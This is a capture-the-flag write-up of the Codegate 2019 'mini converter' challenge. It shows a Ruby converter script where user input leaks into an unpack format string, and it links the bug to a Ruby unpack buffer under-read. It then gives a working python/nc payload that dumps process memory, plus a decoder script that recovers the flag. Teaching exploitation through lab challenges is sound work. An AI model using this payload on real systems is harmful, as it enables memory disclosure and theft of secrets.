Rating:

We have a small Ruby script and a TCP port to connect to.

flag = "FLAG{******************************}"
# Can you read this? really???? lol

while true

    puts "[CONVERTER IN RUBY]"
    STDOUT.flush
    sleep(0.5)
    puts "Type something to convert\n\n"
    STDOUT.flush
    puts "[*] readme!"
    STDOUT.flush
    puts "When you want to type hex, contain '0x' at the first. e.g 0x41414a"
    STDOUT.flush
    puts "When you want to type string, just type string. e.g hello world"
    STDOUT.flush
    puts "When you want to type int, just type integer. e.g 102939"
    STDOUT.flush

    puts "type exit if you want to exit"
    STDOUT.flush

    input = gets.chomp
    puts input
    STDOUT.flush

    if input  == "exit"
        file_write()
        exit

    end

    puts "What do you want to convert?"
    STDOUT.flush

    if input[0,2] == "0x"
        puts "hex"
        STDOUT.flush
        puts "1. integer"
        STDOUT.flush
        puts "2. string"
        STDOUT.flush

        flag = 1
    
    elsif input =~/\D/
        puts "string"
        STDOUT.flush
        puts "1. integer"
        STDOUT.flush
        puts "2. hex"
        STDOUT.flush

        flag = 2
    
    else
        puts "int"
        STDOUT.flush
        puts "1. string"
        STDOUT.flush
        puts "2. hex"
        STDOUT.flush

        flag = 3
    end

    num = gets.to_i

    if flag == 1
        if num == 1
            puts "hex to integer"
            STDOUT.flush
            puts Integer(input)
            STDOUT.flush

        elsif num == 2
            puts "hex to string"
            STDOUT.flush
            tmp = []
            tmp << input[2..-1]
            puts tmp.pack("H*")
            STDOUT.flush
        
        else
            puts "invalid"
            STDOUT.flush
        end

    elsif flag == 2
        if num == 1
            puts "string to integer"
            STDOUT.flush
            puts input.unpack("C*#{input}.length")
            STDOUT.flush
    
        elsif num == 2
            puts "string to hex"
            STDOUT.flush
            puts input.unpack("H*#{input}.length")[0]
            STDOUT.flush
    
        else
            puts "invalid2"
            STDOUT.flush
        end

    elsif flag == 3
        if num == 1
            puts "int to string"
            STDOUT.flush
    
        elsif num == 2
            puts "int to hex"
            STDOUT.flush
            puts input.to_i.to_s(16)
            STDOUT.flush
        else
            puts "invalid3"
            STDOUT.flush
        end

    else
        puts "invalid4"
        STDOUT.flush

    end

end

The Ruby script's intended functionality apparently is to convert values to strings, integers and hexadecimal.

The bug is easily identifiable in the following lines:

            puts input.unpack("C*#{input}.length")
[...]
            puts input.unpack("H*#{input}.length")[0]

In Ruby, #{something} is a template, which will be replaced by the value of something.

Looks like the correct way to write those lines should have been with length inside the curly braces, to make it evaluate as the length of input. As it is now, unpack takes input itself as argument.

By itself unpack isn't insecure, but a quick Google search for "ruby unpack vulnerabilities" immediately gives a good candidate for exploitation: https://www.ruby-lang.org/en/news/2018/03/28/buffer-under-read-unpack-cve-2018-8778/

On not so recent versions of ruby, passing big numbers as argument to unpack makes it possible to dump the memory of the program due to a wrong signed/unsigned conversion. This will probably let us retrieve the initial value of flag, even if the reference was overwritten.

Dumping memory

$ (python -c "import sys; sys.stdout.write('@18446744073708351616C1200000\n1\n')"; cat -) | nc 110.10.147.105 12137 > dump.txt

Converting the output to characters

The script outputs the result as single integers and floats. We can quickly convert those to actual characters.

#!/usr/bin/env python2
import string
with open('dump.txt') as f:
    s = f.read()
out = ''
for line in s.split('\n'):
    try:
        c = chr(int(line))
        if c in string.printable:
            out += c
    except ValueError:
        continue
with open('dump2.txt', 'w') as g:
    g.write(out)

Finding the flag

The last step is easy, we know the flag format.

$ cat dump2.txt | grep -i "FLAG{.*}"
FLAG{Run away with me.It'll be the way you want it}
Original writeup (https://mhackeroni.it/archive/2019/01/28/codegate-quals-2019-mini-converter.html).